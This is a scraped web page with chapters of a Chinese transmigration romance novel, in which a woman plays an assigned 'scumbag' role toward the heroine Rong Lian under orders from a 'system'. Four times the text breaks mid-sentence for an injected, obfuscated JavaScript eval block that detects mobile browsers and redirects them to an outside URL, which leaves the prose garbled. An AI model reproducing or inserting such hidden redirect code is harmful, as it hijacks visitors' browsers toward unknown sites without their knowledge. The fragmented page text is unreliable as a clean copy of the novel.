“我刚刚说什么了?”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16722342|189427||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>容莲抬头,可怜巴巴地眨眼睛:“老师,能再讲一遍吗?”
李惜白呆滞了三四秒,迅速与她拉开距离,努力露出恶嫌的表情:“别叫这么恶心。”
然而紧接着的,就是有些错乱的心声。
——“她怎么这么漂亮……”
容莲的脸微微发红。
——“这家伙怎么被骂了还脸红。”
“咳咳,”李惜白别扭地把目光从容莲的脸上移开,“先练一下口型吧。”
*
“嘴唇微微张开,舌尖抵下齿,舌前部抬高……不能伸出来!”李惜白急得就差上手亲自弄了。
这人平时那么聪明,怎么今天就这么笨呢,怎么都教不会。
李惜白一直有在刻意保持着距离,但不知道为什么这个距离一直在缩小,容莲的嘴唇都好几次不小心碰到了她的鼻尖,却连个道歉都不说。
“好了好了,我示范一下。”
好的老师都是言传身教的,李惜白深谙此道。
“这样,微张嘴唇,抵住上齿……”
容莲凝视了她一会儿,抬手摘下眼镜,脸庞缓缓凑近——
“你要干什么。”在几乎要鼻尖相触的瞬间,李惜白警告一般开口。
容莲稍歪一下头,无辜道:“老师,我看不清楚。”
她是瞎子吗?这还看不清?
“算了算了,我不教你了,”李惜白赌气一样站起来,“你自己学吧。”
然后,抓紧走到房间,紧紧关上房门,抚了抚狂跳的心脏,开始质问系统。
“你刚刚为什么不阻止我?”
“为什么要阻止,宿主你做得很对啊,现在是捧的阶段,就需要这样的。”
“我刚刚都快亲上她了!”李惜白崩溃道。
“宿主放心,不管宿主再怎样亲,主角受的心都不会属于你的,不用顾虑这点。”
……真是谢谢你的安慰。
系统不知道是不是被李惜白上次说的话刺激到了,思维也开始异于一般机器。
“还请宿主务必在本月底让主角受达到幸福巅峰,从下月初开始执行‘抛弃’计划,若宿主无法完成,将有严重惩罚等待您。”
“……你去进修了?”
“本系统只是去开了一次总部大会,并且因为宿主你近期的不当行为被上级狠批了一顿,于是痛定思痛,潜心打磨,并从总部购入一套惩罚机制,希望未来我们能共同进步。”
看来系统已经明白“遣送回原世界”这种只是口头说说的惩罚,根本威胁不到李惜白。
“叩、叩——”
卧室门被轻轻敲了几声。
“阿白,”容莲温柔的声音隔着门板传来,听着不太真切,“你生气了吗?”
那声音里带着的小心翼翼,让李惜白眼前几乎立刻浮现出容莲垂着眼、神情黯然的样子。
她顿觉罪加一等,连忙走过去,开了门。
然后对上了容莲的笑脸。
虽然那张脸依旧清冷美丽,可眉眼间的笑却是抑不住,轻着声问:“还教吗?”
李惜白二话不说就关了门,把容莲挡在门外。
这家伙丝毫没有学习之心。
15. 顾轻水
容莲坐在后台,静静等待登场,指尖不自觉摩挲着手中演讲稿。
经过这几天的练习,她的进步堪称飞速,纸上的每一个单词和句子都烂熟于心,应该是毫无问题的。
可胸膛中那颗不安的心在持续跳动着。
一些杂乱的片段闪过大脑。
三年级,她拿到了第一本英语书,珍宝一样日夜不离。
那时候她就向往着远方,外面的世界,异国的风光。
但这份憧憬仅仅过了一个月,那本书就被酒醉的父亲撕碎了。
“念念念,念什么念!一天到晚读你那个洋文,你还想嫁给洋人啊?我告诉你,等你到了年龄,我就把你嫁给村里的男人,你一辈子都别想出去!”
年幼的容莲跪在地上,一片一片捡起破碎的纸页,泪流了满面也不敢哭出声。
母亲在一旁冷漠地哄着弟弟,对她视若无睹。
从那以后,容莲就再没了当众读英语的勇气。
那不是害怕,而是一种羞耻,仿佛自己成为了父亲口中的坏人。
小时候的思想是很深刻的,哪怕后来已经完全和父母失去联系,这点心结依旧无法释怀。
“接下来,让我们有请云想集团设计部容莲女士……”
主持人的报幕声传来。
容莲深吸一口气,将纷乱的心绪压下,摆出得体的微笑,款款走出去。
会场座无虚席,空气中弥漫着多种语言的低语,谈论的大多数都是些设计行业或商圈的事。李惜白置身其中,却实在融不进去,只能托着腮和系统在脑中聊天。
“话说,原身不是渣攻吗,怎么我连一个小情人的消息都收不到?”
“本文的一切剧情为主角受而服务,不出现在剧情范围内里背景人物不予说明。”
……那好吧。
聚光灯在舞台上投下一个明亮的光圈,一个穿着蓝色鱼尾裙女人出现在最中央,裙身镶着细碎的闪钻,乌发优雅挽起,仿佛不食人间烟火的仙子,又像是莫奈画中的睡莲,恬静地伫立在那。
现场因此安静了一瞬,没有人说话。
漂亮是漂亮得很,可惜李惜白这几天看得次数太多,已经对这美貌免疫了。
她打了个哈欠,正打算闭目养神,却不偏不倚撞上了容莲投来的目光。
李惜白脑子一时犯浑,给容莲比了个耶。
容莲眼中笑意深了几分,收回目光,沉稳地清晰地念出第一个音……
睡到中途,会场再一次响起了雷鸣般的掌声,李惜白被吵得完全没法睡,睁眼看了看台上,容莲已经进入了自由发挥阶段,侃侃而谈,完全没有要停的趋势。
李惜白只能凑向身旁的一位年轻女孩,低声问:
“你好,请问这个大概什么时候结束呢?”
年轻女孩打量她一眼,压低声音:“不清楚,我是混进来的。”
“啊?”李惜白愕然,这种无聊的论坛也有人混进来吗?
年轻女孩却十分兴奋,像是憋了一肚子的心事终于找到发泄口:“我听内部人员说,顾轻水也会来参加。”
等等,这个名字。
年轻女孩对李惜白没有表现出大吃一惊而不满,“那可是火遍大街小巷的顾影后,顶流中的顶流,你连她都不知道吗?”
李惜白微笑一下:“不知道。”
不就是后宫团中的一位吗,连正攻都不是,有什么了不起。
年轻女孩蹙着眉,转过头不说话了。
容莲的演讲终于接近尾声,她优雅地向众人鞠了一躬,台下顿时又响起热烈的掌声。
她的目光慢慢扫过台下,想要寻找那个熟悉的身影,却在不经意间瞄见了另一个女人——
帽檐下,金色长发在暗中依旧耀眼,墨镜遮去她大半张脸,唇角勾起浅笑。对方正微微朝她挥着手。
顾、轻、水。
容莲的手颤抖着,浑身都在发凉。
*
容莲下台后,李惜白彻底呆不下去了,那位顾轻水的私生饭时不时投来仇视的目光,好像她是什么超级黑粉一样。
她随便找了个借口,溜去休息室见容莲,一路上想了许多体面又不失霸气的夸奖词,在见到容莲后却又全部忘了个干净。
刚才在台下看容莲,就仿佛在看电影,而现在,可望不可即的女主角就这样在眼前出现。
多少有点梦幻。
休息室里没有其他人,容莲还穿着礼裙,妆也没卸,却和刚才的台上的状态很不一样。
有些……憔悴?
容莲坐在化妆镜前,安静望着镜内,淡妆让她的面容更加疏离,到了种不近人情的地步。
只是那双美丽动人的眼,像是浮了层薄雾,看着很愁。
李惜白睡了全程,根本没注意容莲在台上的状态,顿时有些心虚,犹豫着问:“累了吗?”
容莲轻轻摇头,声音微弱:“你先出去吧,我想静静。”
一下就把特地跑来给人夸夸的李惜白戳泄气了。
“哦……”李惜白正准备听话出去,死了半天的系统突然开始说话。
“主角受现在幸福值下跌严重,按照此趋势,月底宿主将无法完成任务,请宿主尽快逆转趋势。”
李惜白脚下一停,转过身问:“你不开心?”
容莲抬起头,目光在镜中与李惜白相遇,又迅速垂下:“没有。”
李惜白挠挠头,以为她在为刚才的表现伤心,安慰道:“没事,表现挺好的,我很满意。“
容莲点点头,依旧沉默。
“请宿主尽快逆转趋势!”狗系统又在催。
李惜白实在没办法,慢慢走过去,弯了腰与镜中的她对视,又问了句:“真的没有不开心?”
容莲稍稍把头往她身上靠,无比可怜道:“真的没有。”
那看来是真的有了。
李惜白思索片刻,从口袋中掏出个极其简陋的纸花递给她。
“礼物,”李惜白霸道地笑一笑,“现在不伤心了吧?”
“……这是什么?”
“铃兰花啊,我刚刚折的,还有这朵,”李惜白又翻出一朵皱成一团的纸,塞到容莲手心,“呐,栀子花。”
容莲摊开手心,静静与上面的两朵丑花对峙着。
“很好宿主,主角受的无语程度已经大过了伤心!
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16722343|189427||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
李惜白搞不懂系统是在嘲讽她,还是在夸赞她,只能没心没肺地冲容莲笑。
休息室的门突然被敲响。
“您好,容莲女士在这里面吗?”是个陌生的女音。
容莲看了看李惜白,起身去开门。
一大束娇嫩欲滴的鲜红玫瑰赫然映入眼帘,足有上百朵,馥郁的香气扑面而来。
身穿西装、戴着墨镜的女人表情冷漠,声音也冰冷:“这是我们老板给您的,如果有空,她希望和您见一面。”
说完,也不管容莲要不要,直接往她怀里一塞就走,迅速得仿佛经过专业训练。
李惜白瞥了一眼被容莲搁在桌上的纸花,又看了看她怀里那捧带着露水、肆意盛放的玫瑰,心里不由得“啧”了一声。
玫瑰花里夹了一张金闪闪的卡片,容莲扫过上面的一行字,只觉得心脏愈发疼痛,连手也忍不住颤抖起来。
玫瑰花束从手中脱落,嫩红花瓣碎散一地,那张卡片也掉了出来。
李惜白蹲下身捡起来,刚要看,又被容莲一把夺过去。
“你干什么?”李惜白蹙起眉。
“你不能看。”
容莲冷淡道。
“凭什么?”
“你不能看。”
反反复复问了多少遍都是这句话,李惜白顿时有些不耐,却又想起了什么,问道:“难道是那个叫……顾轻水的给你的。”
容莲紧紧攥住拳头,发白的指甲几乎要掐进肉里,嘴唇也瞬间苍白下来。
至于反应这么大嘛……
虽然李惜白不清楚攻一是什么时候和主角受相遇的,但看容莲这个反应,这对的感情大概已经初具苗头了。
心里莫名有了种被偷家的感觉。
“请宿主完成接下来的剧情,讽刺攻一的示好行为,洗脑主角受,让主角受认为世界上爱她的人只有你一个,将主角受对你的依赖值达到顶峰。”
洗脑……
李惜白咳了几声,调整完状态后,冷声道:“把卡片给我。”
容莲不说话,只直直盯着李惜白的双眼,几欲看进她灵魂深处。
这目光差点让李惜白缩回去,只能硬撑着头皮走上前,拉过容莲的手,把指头一根根掰开,抽出卡片。
整个过程里,容莲依旧只看着李惜白的眼睛。
李惜白被看得发毛,只好低头看卡片。
【今天的你很不一样,有时间我们可以谈一谈。
——顾轻水】
字写得十分漂亮,带着几分张扬,很衬这张金色卡片。
李惜白轻轻冷笑几下,当着容莲的面撕碎了那张卡片,而后放在手心一吹,金色碎片洋洋洒洒地落下。
这才叫冷血,这才叫霸气,这才叫渣攻嘛!
容莲怔住,原本冷淡的目光有了几丝温度。
“别想当着我的面跟别的女人搞些什么,你这种人,除了我还会有谁真心喜欢你,这都不能知足吗?”说完,她用鞋跟恶狠狠地碾了几下碎卡片,“以后再跟我藏着掖着,你和那个女人就和这卡片一个下场。”
——“我好帅我好帅哈哈哈哈哈哈哈……”
16. 我冤
房间中静默一片,二人面对面相持着。
空气无声凝固,刚展示完渣攻霸气的李惜白有些尴尬。
好在容莲十分善解人意,没有对李惜白即将碎掉的面子置之不顾,贴心地牵起她的手,放到自己心口,苍白的唇微微扬起,牵起一抹淡笑:
“阿白,只有你喜欢我。”
李惜白顺着台阶下,冷哼一声:“你知道就好。”
可容莲的指尖却收得更紧了,力度大得几乎发疼。这个姿势持续久了也显得中二过头,李惜白小声提醒她:“行了,气氛到了就松手吧。”
回应她的却是更加用力的交握。
容莲静静凝视着近在咫尺的这个人。
她知道眼前人在说谎,李惜白根本不在乎她。
李惜白眼中只会有那个人,赴汤蹈火也要去见的那个人。
嫉妒心在发狂,藤蔓般缠遍全身。
“阿白,”像是斟酌了很久,容莲的声音轻得要碎掉,“我真的只有你了。”
李惜白读不懂她的潜台词,只能从似真似假的眼神中看出几分害怕与不舍,莫名感到心软。
算了,抓就抓吧,她开心就好。
“剧情完成度检验中……进度百分之九十……”
容莲缓缓倾身,稍高的身形投下淡淡的影子,只需低个头便能够到李惜白的嘴唇。
“进度百分之九十三……”
温热的气息若有若无地呼在鼻尖,带着蛊惑般的示弱味道,丝丝缕缕地侵入肌肤。
“进度百分之九十九……”
柔软的触感轻轻落在唇上,带着湿润的暖意。浑身都有在战栗的错觉。
“剧情检测成功,恭喜宿主完成任务。”
李惜白石化般僵硬了的身体终于能够行动,迅速推开她,脑子放烟花一样彻底炸开——
这可是她的初吻啊!
她以前可从来不接吻戏的啊!
“喀啦——喀啦——”
那是李惜白节操碎掉的声音。
她悲催地抬起头,却见容莲依旧一副“你为什么推开我……”的可怜表情,仿佛自己才是那个强亲别人的坏家伙。
然而再悲痛也要继续念台词,她是个有专业素质的好演员。
“以后,”李惜白咬牙,“如果再让我看到外面的狗女人招惹你,你们就等着被碎尸万段吧!”
容莲轻轻笑了笑:“好。”
*
李青是个守信用的老板,那天过后就为容莲争取了一个国际设计大赛的名额,免掉了初赛直接入围,要求在半月的时间里做出个拿得出手的成衣,送去评审。
时间的确太紧张,容莲每天忙得不可开交,常常是呆在公司一画就是一整晚。
也因此,李惜白见容莲的时间顿时缩短了,戏也没法再演,系统整天身后灵一样催她推进剧情。
然而李惜白却实在无法面对那家伙,一看到那张脸就会想到自己痛失的初吻,这段时间容莲的忙碌反倒给了她喘息的机会。
翻了翻日历,12月底已经临近,走在街上都可以看到一些红灯笼,在孤冷的冬风中格外萧瑟。
这也意味着,李惜白必须加快步伐,赶在新年前把容莲的幸福值刷高,这样才能执行下一步计划。
但幸福值实在是太虚无缥缈了,没有具体数字,也没有示范案例,只有系统轻飘飘的几句“幸福值跌了涨了”的主观臆断,有时候李惜白都怀疑是系统在哄自己玩。
系统对此拒不承认。
李惜白拎着特地去排队买的鸭血汤,几乎是被系统赶着去了容莲的公司。
李惜白唉声叹气了一路。
“我就没个正经工作吗?”
系统经过深思熟虑后答道:“你是个只会吃喝玩乐、玩弄女人的可恶富二代,是不需要工作的。”
“不过,”系统想了想,“如果宿主极力要求的话,在不违背剧情的情况下,也是可以实现的……”
“小白?”一声呼唤打断了系统的话,它立刻闭起嘴。
李惜白转头,瞧见李青正挎着包望向她。天色已深,连李青这个工作狂都要下班了。
李惜白随便挥了挥手以示问好,眼睛却又被李青肩上的包刺了一下。
黑色皮革,哑光金属链,还有那一堆格外显眼的十字架配饰,一看就是某个黑化初中生的风格。
李青朝她走来:“你怎么来了?找我有事吗?”
“怎么可能是找你啊,人家小情人还在楼上呢。”不知从哪窜出来的原星,捧着两杯一模一样的奶茶,嘲弄笑道。
这俩人又粘在一块了。
李惜白搞不懂,也不太想搞懂,敷衍着笑笑,转身上楼去找她小情人……呸,容莲了。
*
角落处那个细瘦身影依旧在握笔画着些什么。
米粒坐在自己的位置上,目光无声地落在她身上,其他人已经走掉,办公室只剩下她们两人。
容莲已经连续加班三天了,饭也没见她好好吃过,还经常被一通电话就喊走,再满脸倦容地回来。不用想就知道,肯定是她那个任性的女朋友在无理取闹。
这样下去,身体早晚会坏掉的。
她叹口气,去饮水机旁接了杯温水,给容莲送过去。
“容……”刚轻轻发了一个音,米粒就看到刚刚还在硬撑的人,现在已经伏在桌上,紧闭的双眼下两片青黑,看上去疲惫至极。
只好把温水放到她桌上。
尽管米粒已经不是容莲的助理,却总是想为她做些什么。
无论是哪方面的,生活上也好,感情上也好,像容莲这样美丽又要强的人,总会把各种情绪藏在心底,不愿意展现给任何人。
手指轻轻拂上她额头,将散落的发丝别到耳后。
办公室的空调已经关闭,容莲穿得不多,脸颊都微微发着凉意。
米粒脱下自己的毛衣开衫,小心翼翼披在她肩上。
时间已经很晚,再不回家妈妈会担心的。
虽说已经工作还和家人一起住有些丢人,米粒却也感到很幸福。
不管多累,都还有个体谅你的家在等着你。
米粒提起包,正准备离开,一抬头,被倚靠在门口已久的李惜
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16722344|189427||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
白吓了一跳,
“啊!你……你什么时候来的?”一想起自己刚刚痴望容莲那么久,米粒的脸顿时烧了起来。
李惜白偏头认真想了一下:“大概是十分钟前吧。”
那岂不是全看到了……
米粒犹豫着打量着这位……容莲的女朋友。
长相虽然乖巧漂亮,可性格实在太差,与容莲的温柔坚韧毫不相配。
李惜白不知道自己已经被这样定论,和善地对米粒笑了笑,晃了晃手中的保温桶:“给她送点夜宵。”
对于认认真真走剧情的角色,李惜白一向很尊重。
米粒低下头,没有答话。
情敌之间,这样的沉默倒也正常,李惜白没太在意,径直走向容莲的工位旁。
就在她的手即将碰到容莲肩膀时,米粒突然过去抓住了她的手腕。
“容姐已经很累了……”米粒的声音很轻,却带着不容置疑的坚决,“请你不要再打扰她了。”
她深吸一口气,像是用尽了所有的勇气:“李小姐,我想和你谈谈。”
李惜白一愣,随即颔首:“好啊。”
米粒并不擅长和人交锋,但这一次,她想为容莲豁出去一回。
就算是多管闲事,起码她勇敢做过了。
“我不想妄自猜测你们之间的感情,我也相信容姐不会肯受人所制,但……你也知道,任何人都需要自己的事业和独处空间,容姐不是专门服务于你的保姆,我希望你能尊重她一下……”
这话说得又快又细,李惜白听不太清,但看表情也能猜出她是在为容莲打抱不平。
不过这几天,她见容莲的次数屈指可数,哪里占用她的独处空间了?
“哼,”为表渣攻之不屑,李惜白先是冷笑一声,一改刚才的温和态度,而后嘴角勾起讽刺的弧度,“你以为你是谁,敢跟我这么说话,难不成你喜欢容莲?”
米粒被这人的精分吓到,脸也更红了,心脏跳得飞快:“你……你胡说什么!”
“胡说?我看是你在胡想什么吧。就算这段时间我对容莲冷淡了些,可也轮不上你个黄毛丫头来和我抢人。”李惜白嗤笑。
米粒从来没见过这样厚颜无耻的家伙,明明这几天一直烦扰着容莲,却还能这么理直气壮地否认。
米粒攥紧拳头,企图不让自己的气势太弱:
“这几天你一直要她在上班时间出去见你,她都没时间设计……”
“嗯?”李惜白有点听不明白了,“我什么时候要见她?”
见她依旧不承认,米粒横了横心,二话不说拉着李惜白来到茶水房,啪地开了灯。
白色光线下,角落里摆着几大捧玫瑰,艳红得近乎刺眼,靠近内部的几束已经悄然枯萎,焦褐的花瓣蜷缩着,却依旧固执挂在枝头。
“李小姐,有时候热暴力也是一种暴力,既然容姐不喜欢这些花,你就不要天天送了,不然连放的地方都没有,”米粒弯腰捧起一束,轻抚过花瓣,眼含怜惜之情,“多好的花,都枯萎了。”
李惜白觉得好冤枉。
她根本没送过啊!
17. 愿望
李惜白快步走过去,拿过米粒手中的花束,把大朵大朵的玫瑰扒拉开,果不其然找到了一张熟悉的金色卡片。
【郎骑竹马来,绕床弄青梅。
——顾轻水】
底下的署名写得格外张扬,在李惜白眼里简直就是明晃晃的挑衅。
她还没跟容莲分手呢,这个攻一急什么急,到她的戏份了吗?
李惜白一向讨厌抢戏的资源咖。
米粒本来因为这人没礼貌而生气,在看到那个名字后却轻轻“咦”了一声。
“李小姐,也喜欢顾影后吗?”
“不,”李惜白平静地把卡片捏在手里,“我是她黑粉。”
*
天边泛起鱼肚白,晨光透过百叶窗照进来。
容莲在桌上睁开眼,脖颈处酸涩一片,被压了一夜的胳膊更是触电一般麻木。
她轻轻动了一下,搭在肩头的开衫滑落在地,转头看了几眼,她认出那是米粒的衣服。
她垂下眼帘,起身拾起衣服,再仔细拍打整理好,放在米粒的位置上。
这个女孩子的确很善良,也因此,容莲不想伤害她的感情,只好疏远她。
时间还太早,离上班还有一个多小时。容莲翻了翻手机,困扰她好几天的消息又一次映入眼帘。
【容小姐,我们老板很不喜欢您昨天的爽约行为,请您做出解释。】
【容小姐,如果您能再考虑考虑,我们老板可以加钱。】
……
这样的情况自那次演讲后就开始持续了。
容莲轻捏着眉头,无力之感几乎要大于愤恨。
无视这些消息,容莲点进了李惜白的头像,聊天记录还停留在一星期前。
这下连叹气的力气都没有了。
容莲关上手机,无力地趴在桌子上,手肘却不小心碰倒了一个保温桶,“咣”一声摔落在地。
盖子被撞飞,血红色的汤溢在瓷白地砖上,咸香扑鼻。
容莲愣了一会儿,才去保洁那找了拖把清理,打开窗子散味道。
这段时间太过紧绷,偶尔的意外事件反而让那根线松了一瞬。
容莲从抽屉里掏出两朵丑趴趴的纸花,放在桌上,手撑着下巴,静静望着它们出神。
那朵“兰玲花”看着还略微精致些,至少花瓣的样子折出来了,“栀子花”则是不堪入目,像是随手一捏就折好了。
容莲让她们靠得近一些,而后笑了笑。
……
米粒来上班的时候,在叠得整齐的衣服上发现一张纸条,是容莲的字迹,说谢谢她的外套和鸭血汤,不过保温桶碰坏了,会买个新的还她。
米粒回忆起昨晚,李惜白来的时候就拎了一个保温桶,好像说是夜宵来着。
她犹豫片刻,还是选择向容莲解释。
不过,米粒低头看一眼纸条。
容莲似乎在刻意疏远她,道谢的话都不愿当面说。
米粒当然不会因此怪罪容莲,她知道容莲一定有自己的顾虑,尽管心中多少有些酸涩。
为了不让容莲为难,只好掏出手机,给几米之外的容莲发了消息:
【鸭血汤是昨晚你女朋友送的,以后不要在公司硬熬啦,要注意身体哦。】
指尖停顿半刻,又添了个可爱表情包。
手机震动了一下,容莲点开消息,看着那行字,不自觉怔住。
她,会来给自己送饭?
*
“演戏?小白,你确定吗?”电话那头,李青的声音带着无奈,“娱乐圈水太深了,没有你想得那么光鲜亮丽,多得是见不得人的东西……总之,我不会同意的。”
原星也在一边凑热闹:“你这是干嘛,她想去就去呗,顾轻水不是也——”
话还没说完,电话被掐断了。
李惜白无语地把手机扔沙发上。
“宿主,你已经努力过了,有些事是强求不来的。”系统好心安慰。
李惜白扯着卫衣上的带子,无聊地晃来晃去,嘴里不满嘟囔着:“可我除了演戏什么都不会了啊。”
虽然她演技一直被骂烂大街,但好歹也算养活过她的一门营生,多少有些情怀在。
系统觉得这人就是闲的。
没错,李惜白太闲了。
之前还能围着容莲转一转,对着接下来的剧情苦思冥想该怎么饰演,现在容莲一忙起来,李惜白就完全成了无业散民。
果然过惯了好日子就会忘本,这样吃喝不愁还不用工作的日子,完全是以前的李惜白做梦才能想到的。
她兴味索然地瘫在沙发上自我批判,昏昏欲睡之际,门锁传来轻微的转动声。
这个房子,除了容莲和她,也不会有第三个人进来了。
李惜白还以为她今天又要把公司当家,都准备好等一会点外卖了。
话说,再过几天,是不是就要月底了。
“怎么在这里睡?”轻悠悠的声音在耳畔响起,脸庞被微凉的手指触过。
李惜白顿时睡意全无,倏一下坐起来。
容莲俯身微微笑着,语气比以往还要温柔:“饿了吗?我买了个小蛋糕,你先吃一点。”
“啊……好。”李惜白还是有些睡懵。
脑袋被摸了摸,两撮凌乱的短发依旧放肆地翘着,看久了像是狗耳朵一样。
李惜白自知现在毫无渣攻气质,只能尴尬用手捋着刘海,企图遮挡一点容莲的视线。
容莲体贴地没有为难她,转身进了厨房。
厨房里响起流水的声音。
李惜白来到餐桌旁,一个足足有八寸的蛋糕赫然摆在桌上,奶油上点缀着淡粉玫瑰,还有亮闪闪的金箔碎片,漂亮得让人不忍下口——不过,怎么看都不是容莲口中的“小”蛋糕。
上面的玫瑰装饰让李惜白想到昨晚,心里莫名有些不好受。
难不成,这个蛋糕也是攻一为了追容莲送给她的?
李惜白的食欲顿时萎缩了。
今晚的菜大多是容莲去外面买的,只另切了些蔬菜摆盘便全端上了桌。
容莲今天肉眼可见地开心,看向李惜白的目光柔得不像话,嘴角也总是挂着一抹淡淡的笑意。导致李惜白在吃饭的时候看了她好几眼,怀疑她终于加班加疯了。
但是,如果再仔细看一看,就能看出容莲身边环绕着的、专属于恋爱中少女才会有的粉红泡泡。
李惜白懂了。
——“这家伙果然出轨了,还出得很开心。”
容莲嘴角的笑僵硬了。
过几天还是带李惜白去看看脑子比较好。
“阿白,”容莲望着李惜白,和声细语道,“你还记得今天是什么日子吗?”
李惜白止住筷子,大脑空白了一瞬。
日子
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16722345|189427||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
?
系统跟我没说啊?
“今天是主角受与渣攻的相遇纪念日,按照剧情,宿主此时应该在外面与白月光共度良宵,让主角受独守空房……但由于宿主的计划,剧情已经大变,请宿主自行处理。”
系统不负责任扔给她一段话。
李惜白放下筷子默默咬牙,对容莲微笑:“当然记得。”
——“不就是你跟这个人渣第一次见面嘛……”
容莲偏头笑了笑,虽然不清楚李惜白为什么要这么称呼她自己,但她总算记得一回她们的纪念日了。
因为要吃蛋糕,容莲没让李惜白吃太饱,很快收拾完餐桌,把蛋糕端上来,又去房间里找来蜡烛。
李惜白再一次当了甩手掌柜,看着容莲忙前忙后,而她只坐在桌边,百无聊赖地支着下巴走神。
“这是你最喜欢的那家,”容莲弯腰插上细蜡烛,拿着火机点燃,“几天前就预定好了。”
火苗冉冉升起,暖黄色的光晕轻轻跳动着。
“要吹吗?”容莲低着头轻问,柔和的光映在她长长的眼睫上,在下眼睑处投下一片宛如蝶翼的阴影。
李惜白觉得这个气氛太诡异了。
“……又不是过生日,吹什么蜡烛。”
容莲偏过脸去看她,笑容里带着一点歉意:“不吹就不吹吧。”
说完,伸手把蜡烛拿下来,遗憾道:“以前,我过生日的时候从来没吹过一回蜡烛。”
生日从来都是和弟弟一起过,能分到一小碟带着奶油的蛋糕都是幸事,更别提吹蜡烛许愿这种奢侈的事情。
这话无疑是把李惜白放到蜡烛上烤。
“算了算了,”李惜白连忙找补,“插上吧,吹。”
容莲笑一笑,又拆了包新蜡烛慢慢插上去,声音轻柔道:
“阿白最近很不一样了。“
李惜白紧张地清清嗓,“哪……哪不一样?”
“更漂亮了。”
“嗯嗯?”李惜白没想到她会这样说。
“好了,现在闭上眼许愿,然后就吹蜡烛吧。”容莲望着她,几乎要移不开眼。
“哦。”李惜白十指交叉抵在唇前,闭上眼。
半天,再睁开,轻轻吹灭了一只。
“许愿了吗?”容莲问。
“许了。”李惜白说谎。
容莲不揭穿地点点头,也学着李惜白的的姿势,十指交叉在唇前,闭上双眼,念出自己的愿望:“我希望,今晚能满足阿白的一个愿望。”
李惜白皱了皱眉,“你真想满足我?”
“嗯。”
“什么都可以?”
“什么都可以。”
*
灯被关上,唯有窗户外投进些暧昧月光。
“阿白,”容莲有些忐忑,“能不能开一下灯……”
“干这种事怎么能开灯?”李惜白相当不满,“对了,窗帘也要拉上。”
容莲走过去拉上窗帘,屋内顿时漆黑一片,面前站只鬼都看不见。
她咽咽口水,摸索着坐到李惜白身边,摁开遥控器。
大屏幕顿时亮起刺眼的白光,但很快,白光褪去,一行血淋淋的字出现在黑屏中——
《女鬼惊魂夜》
容莲忍不住闭上眼,完全后悔刚才答应李惜白的话。
谁知道她的愿望是一起看恐怖片啊……
18. 囚禁
地铁在漆黑隧道中有规律地摇晃着,发出单调的“哐当”声。
夜已经深了,车厢里只有主角一人,她疲惫地靠在座椅上回着老板微信,没有注意到一个女人不知何时坐到了她对面。
女人穿着一身红裙,低垂着头,轻轻用手擦着眼睛,好像在哭。
主角抬眼看了她一眼,但出于礼貌,又很快把目光收回。
车顶的灯突然闪烁了一下,在这一明一灭的瞬间,主角余光里瞥见女人手指上的鲜红。
然而只是一瞬,那鲜红便转瞬即逝。
主角安慰自己只是看花了眼,莫名的不安感却悄悄从背后攀上身,她忍不住再次抬眼望去。
那个女人,依旧保持着原来的姿势,一动不动
……但不对劲。
她与自己的距离,好像变近了?
心脏猛然狂跳着,顶灯又闪烁一下,只是这次持续时间更长。
一暗,一亮。
灯光再次恢复时,那个女人的脸猛地抬了起来!脸几乎贴着主角的鼻尖!
鲜血从那双眼中滚滚流出,骇人的眼球紧紧盯住她……
……
“阿白……”容莲不安地偏过头。
“别说话,专心,”李惜白递给她一个抱枕,“抱着就不害怕了。”
——“演得什么啊,都笑场了。”
——“这女鬼的妆造倒是不错,造型师请得太值了。”
容莲欲哭无泪地搂紧怀中抱枕。
*
碍于容莲实在怕得浑身冰凉,李惜白不得不看到一半就开了灯,拉着容莲去睡觉。
“还不错吧?”李惜白丧良心地问。
容莲点点头,目光直直望着前方,略微有些出神。
……这完全是吓傻了吧。
一躺到床上,容莲更是如同木乃伊一样用被子把自己包起来,生怕露出一点可以被鬼钻进的空隙。
李惜白坐在床上看她瑟瑟发抖,体贴问道:“要不然我给你讲个故事?”
“好……”缩在被子里的容莲小声应道。
